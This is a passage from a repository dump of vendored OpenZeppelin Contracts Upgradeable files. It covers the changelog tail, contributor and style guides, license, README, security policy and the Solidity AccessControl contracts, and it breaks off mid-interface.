## 2.1.1 (2019-01-04)
* Version bump to avoid conflict in the npm registry.
## 2.1.0 (2019-01-04)
### New features
* Now targeting the 0.5.x line of Solidity compilers. For 0.4.24 support, use version 2.0 of OpenZeppelin.
* `WhitelistCrowdsale`: a crowdsale where only whitelisted accounts (`WhitelistedRole`) can purchase tokens. Adding or removing accounts from the whitelist is done by whitelist admins (`WhitelistAdminRole`). Similar to the pre-2.0 `WhitelistedCrowdsale`. ([#1525](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1525), [#1589](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1589))
* `RefundablePostDeliveryCrowdsale`: replacement for `RefundableCrowdsale` (deprecated, see below) where tokens are only granted once the crowdsale ends (if it meets its goal). ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))
* `PausableCrowdsale`: allows for pausers (`PauserRole`) to pause token purchases. Other crowdsale operations (e.g. withdrawals and refunds, if applicable) are not affected. ([#832](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/832))
* `ERC20`: `transferFrom` and `_burnFrom ` now emit `Approval` events, to represent the token's state comprehensively through events. ([#1524](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1524))
* `ERC721`: added `_burn(uint256 tokenId)`, replacing the similar deprecated function (see below). ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))
* `ERC721`: added `_tokensOfOwner(address owner)`, allowing to internally retrieve the array of an account's owned tokens. ([#1522](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1522))
* Crowdsales: all constructors are now `public`, meaning it is not necessary to extend these contracts in order to deploy them. The exception is `FinalizableCrowdsale`, since it is meaningless unless extended. ([#1564](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1564))
* `SignedSafeMath`: added overflow-safe operations for signed integers (`int256`). ([#1559](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1559), [#1588](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1588))
### Improvements
* The compiler version required by `Array` was behind the rest of the libray so it was updated to `v0.4.24`. ([#1553](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1553))
* Now conforming to a 4-space indentation code style. ([1508](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1508))
* `ERC20`: more gas efficient due to removed redundant `require`s. ([#1409](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1409))
* `ERC721`: fixed a bug that prevented internal data structures from being properly cleaned, missing potential gas refunds. ([#1539](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1539) and [#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))
* `ERC721`: general gas savings on `transferFrom`, `_mint` and `_burn`, due to redudant `require`s and `SSTORE`s. ([#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))
### Bugfixes
### Breaking changes
### Deprecations
* `ERC721._burn(address owner, uint256 tokenId)`: due to the `owner` parameter being unnecessary. ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))
* `RefundableCrowdsale`: due to trading abuse potential on crowdsales that miss their goal. ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of age, body
size, disability, ethnicity, sex characteristics, gender identity and expression,
level of experience, education, socio-economic status, nationality, personal
appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic
address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project team at maintainers@openzeppelin.org. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. The project team is
obligated to maintain confidentiality with regard to the reporter of an incident.
Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
[homepage]: https://www.contributor-covenant.org
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/CONTRIBUTING.md
================================================
Contributing to OpenZeppelin Contracts
=======
We really appreciate and value contributions to OpenZeppelin Contracts. Please take 5' to review the items listed below to make sure that your contributions are merged as soon as possible.
## Contribution guidelines
Smart contracts manage value and are highly vulnerable to errors and attacks. We have very strict [guidelines], please make sure to review them!
## Creating Pull Requests (PRs)
As a contributor, you are expected to fork this repository, work on your own fork and then submit pull requests. The pull requests will be reviewed and eventually merged into the main repo. See ["Fork-a-Repo"](https://help.github.com/articles/fork-a-repo/) for how this works.
## A typical workflow
1) Make sure your fork is up to date with the main repository:
```
cd openzeppelin-contracts
git remote add upstream https://github.com/OpenZeppelin/openzeppelin-contracts.git
git fetch upstream
git pull --rebase upstream master
```
NOTE: The directory `openzeppelin-contracts` represents your fork's local copy.
2) Branch out from `master` into `fix/some-bug-#123`:
(Postfixing #123 will associate your PR with the issue #123 and make everyone's life easier =D)
```
git checkout -b fix/some-bug-#123
```
3) Make your changes, add your files, commit, and push to your fork.
```
git add SomeFile.js
git commit "Fix some bug #123"
git push origin fix/some-bug-#123
```
4) Run tests, linter, etc. This can be done by running local continuous integration and make sure it passes.
```bash
npm test
npm run lint
```
5) Go to [github.com/OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) in your web browser and issue a new pull request.
*IMPORTANT* Read the PR template very carefully and make sure to follow all the instructions. These instructions
refer to some very important conditions that your PR must meet in order to be accepted, such as making sure that all tests pass, JS linting tests pass, Solidity linting tests pass, etc.
6) Maintainers will review your code and possibly ask for changes before your code is pulled in to the main repository. We'll check that all tests pass, review the coding style, and check for general code correctness. If everything is OK, we'll merge your pull request and your code will be part of OpenZeppelin Contracts.
*IMPORTANT* Please pay attention to the maintainer's feedback, since its a necessary step to keep up with the standards OpenZeppelin Contracts attains to.
## All set!
If you have any questions, feel free to post them to github.com/OpenZeppelin/openzeppelin-contracts/issues.
Finally, if you're looking to collaborate and want to find easy tasks to start, look at the issues we marked as ["Good first issue"](https://github.com/OpenZeppelin/openzeppelin-contracts/labels/good%20first%20issue).
Thanks for your time and code!
[guidelines]: GUIDELINES.md
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/DOCUMENTATION.md
================================================
Documentation is hosted at https://docs.openzeppelin.com/contracts.
All of the content for the site is in this repository. The guides are in the
[docs](/docs) directory, and the API Reference is extracted from comments in
the source code. If you want to help improve the content, this is the
repository you should be contributing to.
[`solidity-docgen`](https://github.com/OpenZeppelin/solidity-docgen) is the
program that extracts the API Reference from source code.
The [`docs.openzeppelin.com`](https://github.com/OpenZeppelin/docs.openzeppelin.com)
repository hosts the configuration for the entire site, which includes
documentation for all of the OpenZeppelin projects.
To run the docs locally you should run `npm run docs:watch` on this
repository.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/GUIDELINES.md
================================================
Design Guidelines
=======
These are some global design goals in OpenZeppelin Contracts.
#### D0 - Security in Depth
We strive to provide secure, tested, audited code. To achieve this, we need to match intention with function. Thus, documentation, code clarity, community review and security discussions are fundamental.
#### D1 - Simple and Modular
Simpler code means easier audits, and better understanding of what each component does. We look for small files, small contracts, and small functions. If you can separate a contract into two independent functionalities you should probably do it.
#### D2 - Naming Matters
We take our time with picking names. Code is going to be written once, and read hundreds of times. Renaming for clarity is encouraged.
#### D3 - Tests
Write tests for all your code. We encourage Test Driven Development so we know when our code is right. Even though not all code in the repository is tested at the moment, we aim to test every line of code in the future.
#### D4 - Check preconditions and post-conditions
A very important way to prevent vulnerabilities is to catch a contract’s inconsistent state as early as possible. This is why we want functions to check pre- and post-conditions for executing its logic. When writing code, ask yourself what you are expecting to be true before and after the function runs, and express it in code.
#### D5 - Code Consistency
Consistency on the way classes are used is paramount to an easier understanding of the library. The codebase should be as unified as possible. Read existing code and get inspired before you write your own. Follow the style guidelines. Don’t hesitate to ask for help on how to best write a specific piece of code.
#### D6 - Regular Audits
Following good programming practices is a way to reduce the risk of vulnerabilities, but professional code audits are still needed. We will perform regular code audits on major releases, and hire security professionals to provide independent review.
# Style Guidelines
The design guidelines have quite a high abstraction level. These style guidelines are more concrete and easier to apply, and also more opinionated. We value clean code and consistency, and those are prerequisites for us to include new code in the repository. Before proposing a change, please read these guidelines and take some time to familiarize yourself with the style of the existing codebase.
## Solidity code
In order to be consistent with all the other Solidity projects, we follow the
[official recommendations documented in the Solidity style guide](http://solidity.readthedocs.io/en/latest/style-guide.html).
Any exception or additions specific to our project are documented below.
* Try to avoid acronyms and abbreviations.
* All state variables should be private.
* Private state variables should have an underscore prefix.
```
contract TestContract {
uint256 private _privateVar;
uint256 internal _internalVar;
}
```
* Parameters must not be prefixed with an underscore.
```
function test(uint256 testParameter1, uint256 testParameter2) {
...
}
```
* Internal and private functions should have an underscore prefix.
```
function _testInternal() internal {
...
}
```
```
function _testPrivate() private {
...
}
```
* Events should be emitted immediately after the state change that they
represent, and consequently they should be named in past tense.
```
function _burn(address who, uint256 value) internal {
super._burn(who, value);
emit TokensBurned(who, value);
}
```
Some standards (e.g. ERC20) use present tense, and in those cases the
standard specification prevails.
* Interface names should have a capital I prefix.
```
interface IERC777 {
```
## Tests
* Tests Must be Written Elegantly
Tests are a good way to show how to use the library, and maintaining them is extremely necessary. Don't write long tests, write helper functions to make them be as short and concise as possible (they should take just a few lines each), and use good variable names.
* Tests Must not be Random
Inputs for tests should not be generated randomly. Accounts used to create test contracts are an exception, those can be random. Also, the type and structure of outputs should be checked.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/LICENSE
================================================
The MIT License (MIT)
Copyright (c) 2016-2020 zOS Global Limited
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/README.md
================================================
# OpenZeppelin Contracts Upgradeable
[](https://docs.openzeppelin.com/contracts/upgradeable)
[](https://www.npmjs.org/package/@openzeppelin/contracts-upgradeable)
This repository hosts the Upgradeable variant of [OpenZeppelin Contracts], meant for use in upgradeable contracts. This variant is available as separate package called `@openzeppelin/contracts-upgradeable`.
[OpenZeppelin Contracts]: https://github.com/OpenZeppelin/openzeppelin-contracts
It follows all of the rules for [Writing Upgradeable Contracts]: constructors are replaced by initializer functions, state variables are initialized in initializer functions, and we additionally check for storage incompatibilities across minor versions.
[Writing Upgradeable Contracts]: https://docs.openzeppelin.com/upgrades-plugins/writing-upgradeable
> :warning: **Warning**
>
> There will be storage incompatibilities across major versions of this package, which makes it unsafe to upgrade a deployed contract from one major version to another, for example from 3.4.0 to 4.0.0.
>
> Similarly, it is not safe to upgrade from `@openzeppelin/contracts-ethereum-package` (a similar previous package) to `@openzeppelin/contracts-upgradeable`.
>
> **It is strongly encouraged to use these contracts together with a tool that can automatically guarantee the safety of an upgradeable contract, such as the [OpenZeppelin Upgrades Plugins](https://github.com/OpenZeppelin/openzeppelin-upgrades).**
## Overview
### Installation
```console
$ npm install @openzeppelin/contracts-upgradeable
```
### Usage
The package replicates the structure of the main OpenZeppelin Contracts package, but every file and contract has the suffix `Upgradeable`.
```diff
-import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
-contract MyCollectible is ERC721 {
+contract MyCollectible is ERC721Upgradeable {
```
Constructors are replaced by internal initializer functions following the naming convention `__{ContractName}_init`. Since these are internal, you must always define your own public initializer function and call the parent initializer of the contract you extend.
```diff
- constructor() ERC721("MyCollectible", "MCO") {
+ function initialize() initializer public {
+ __ERC721_init("MyCollectible", "MCO");
}
```
> **Caution**
>
> Use with multiple inheritance requires special care. Initializer functions are not linearized by the compiler like constructors. Because of this, each `__{ContractName}_init` function embeds the linearized calls to all parent initializers. As a consequence, calling two of these `init` functions can potentially initialize the same contract twice.
>
> The function `__{ContractName}_init_unchained` found in every contract is the initializer function minus the calls to parent initializers, and can be used to avoid the double initialization problem, but doing this manually is not recommended. We hope to be able to implement safety checks for this in future versions of the Upgrades Plugins.
_If you're new to smart contract development, head to [Developing Smart Contracts](https://docs.openzeppelin.com/learn/developing-smart-contracts) to learn about creating a new project and compiling your contracts._
To keep your system secure, you should **always** use the installed code as-is, and neither copy-paste it from online sources, nor modify it yourself. The library is designed so that only the contracts and functions you use are deployed, so you don't need to worry about it needlessly increasing gas costs.
## Learn More
The guides in the [docs site](https://docs.openzeppelin.com/contracts) will teach about different concepts, and how to use the related contracts that OpenZeppelin Contracts provides:
* [Access Control](https://docs.openzeppelin.com/contracts/access-control): decide who can perform each of the actions on your system.
* [Tokens](https://docs.openzeppelin.com/contracts/tokens): create tradeable assets or collectives, and distribute them via [Crowdsales](https://docs.openzeppelin.com/contracts/crowdsales).
* [Gas Station Network](https://docs.openzeppelin.com/contracts/gsn): let your users interact with your contracts without having to pay for gas themselves.
* [Utilities](https://docs.openzeppelin.com/contracts/utilities): generic useful tools, including non-overflowing math, signature verification, and trustless paying systems.
The [full API](https://docs.openzeppelin.com/contracts/api/token/ERC20) is also thoroughly documented, and serves as a great reference when developing your smart contract application. You can also ask for help or follow Contracts's development in the [community forum](https://forum.openzeppelin.com).
Finally, you may want to take a look at the [guides on our blog](https://blog.openzeppelin.com/guides), which cover several common use cases and good practices.. The following articles provide great background reading, though please note, some of the referenced tools have changed as the tooling in the ecosystem continues to rapidly evolve.
* [The Hitchhiker’s Guide to Smart Contracts in Ethereum](https://blog.openzeppelin.com/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05) will help you get an overview of the various tools available for smart contract development, and help you set up your environment.
* [A Gentle Introduction to Ethereum Programming, Part 1](https://blog.openzeppelin.com/a-gentle-introduction-to-ethereum-programming-part-1-783cc7796094) provides very useful information on an introductory level, including many basic concepts from the Ethereum platform.
* For a more in-depth dive, you may read the guide [Designing the Architecture for Your Ethereum Application](https://blog.openzeppelin.com/designing-the-architecture-for-your-ethereum-application-9cec086f8317), which discusses how to better structure your application and its relationship to the real world.
## Security
This project is maintained by [OpenZeppelin](https://openzeppelin.com), and developed following our high standards for code quality and security. OpenZeppelin Contracts is meant to provide tested and community-audited code, but please use common sense when doing anything that deals with real money! We take no responsibility for your implementation decisions and any security problems you might experience.
The core development principles and strategies that OpenZeppelin Contracts is based on include: security in depth, simple and modular code, clarity-driven naming conventions, comprehensive unit testing, pre-and-post-condition sanity checks, code consistency, and regular audits.
The latest audit was done on October 2018 on version 2.0.0.
Please report any security issues you find via our [bug bounty program on Immunefi](https://www.immunefi.com/bounty/openzeppelin) or directly to security@openzeppelin.org.
Critical bug fixes will be backported to past major releases.
## Contribute
OpenZeppelin Contracts exists thanks to its contributors. There are many ways you can participate and help build high quality software. Check out the [contribution guide](CONTRIBUTING.md)!
## License
OpenZeppelin Contracts is released under the [MIT License](LICENSE).
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/RELEASING.md
================================================
# Releasing
> Visit the documentation for [details about release schedule].
Start on an up-to-date `master` branch.
Create the release branch with `npm run release start minor`.
Publish a release candidate with `npm run release rc`.
Publish the final release with `npm run release final`.
Follow the general [OpenZeppelin Contracts release checklist].
[details about release schedule]: https://docs.openzeppelin.com/contracts/releases-stability
[OpenZeppelin Contracts release checklist]: https://github.com/OpenZeppelin/code-style/blob/master/RELEASE_CHECKLIST.md
## Merging the release branch
After the final release, the release branch should be merged back into `master`. This merge must not be squashed because it would lose the tagged release commit. Since the GitHub repo is set up to only allow squashed merges, the merge should be done locally and pushed.
Make sure to have the latest changes from `upstream` in your local release branch.
```
git checkout release-vX.Y.Z
git pull upstream
```
```
git checkout master
git merge --no-ff release-vX.Y.Z
git push upstream master
```
The release branch can then be deleted on GitHub.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/SECURITY.md
================================================
# Security Policy
## Supported Versions
The recommendation is to use the latest version available.
| Version | Supported |
| ------- | ------------------------------------ |
| 4.x | :white_check_mark::white_check_mark: |
| 3.4 | :white_check_mark: |
| 2.5 | :white_check_mark: |
| < 2.0 | :x: |
## Reporting a Vulnerability
Please report any security issues you find to security@openzeppelin.org.
Critical bug fixes will be backported to past major releases.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/UPGRADEABLE.md
================================================
# Technical notes about the Upgradeable repository
## [Branches](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/branches)
### `patches`
Built on top of the `master` branch of the vanilla Contracts repo, contains the changes necessary to build this package: it adds the scripts to transpile and GitHub Actions for it to work automatically, changes the package name, etc.
It can also include small changes to the Solidity code, such as reordering of state variables, in order to ensure storage compatibility.
It's an important goal that this branch should be easy to merge with the vanilla Contracts repo, avoiding merge conflicts as much as possible. This is necessary to reduce manual intervention and ensure automation runs smoothly.
This branch will not necessarily be up to date with the vanilla `master` branch, only up to the point necessary to guarantee successful merging with any new updates. In some cases it will be necessary to apply a manual merge with new changes, it is this branch that should be updated for the changes to propagate to all other branches.
### `patched/master`, `patched/release-vX.Y`
These branches are the merge between `patches` and the corresponding branch from vanilla Contracts. These branches should generally not be updated manually.
### `master`, `release-vX.Y`
Contains the transpiled code corresponding to the branch from vanilla Contracts of the same name. These are generated automatically based on their `patched/*` branch. These branches should never be manually updated, because they will be overwritten automatically with the transpiled version of `patched/*`. Instead, changes should be made in `patches`.
## [Actions Workflows](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/actions)
### [Merge upstream](/.github/workflows/merge-upstream.yml)
All this does is fetch the latest changes from a corresponding branch in the vanilla Contracts repo, tries to merge them with `patches`, and then pushes the updated branch to `patched/*`. If the merge has conflicts, the worfklow will fail. We should be notified of this so that we can updated the `patches` branch resolving conflicts and trigger the merge again. This should not happen often.
### [Transpile](/.github/workflows/transpile.yml)
Runs every time a `patched/*` branch is pushed to (for example as part of the Merge upstream workflow), transpiles the contents of that branch, and pushes the results as a new commit on the transpiled branch.
### [Test](/.github/workflows/test.yml)
Runs normal Contracts tests on the `master` and `release-v*` branches.
## Scripts
### `transpile-onto.sh`
```
bash scripts/upgradeable/transpile-onto.sh [base]
```
Transpiles the contents of the current git branch and commits the result as a new commit on branch ``. If branch `` doesn't exist, it will copy the commit history of `[base]` (this is used in GitHub Actions, but is usually not necessary locally).
This script can be used manually to build transpiled versions of specific commits, or branches other than the `master` Contracts branch.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlEnumerableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/IAccessControlEnumerableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
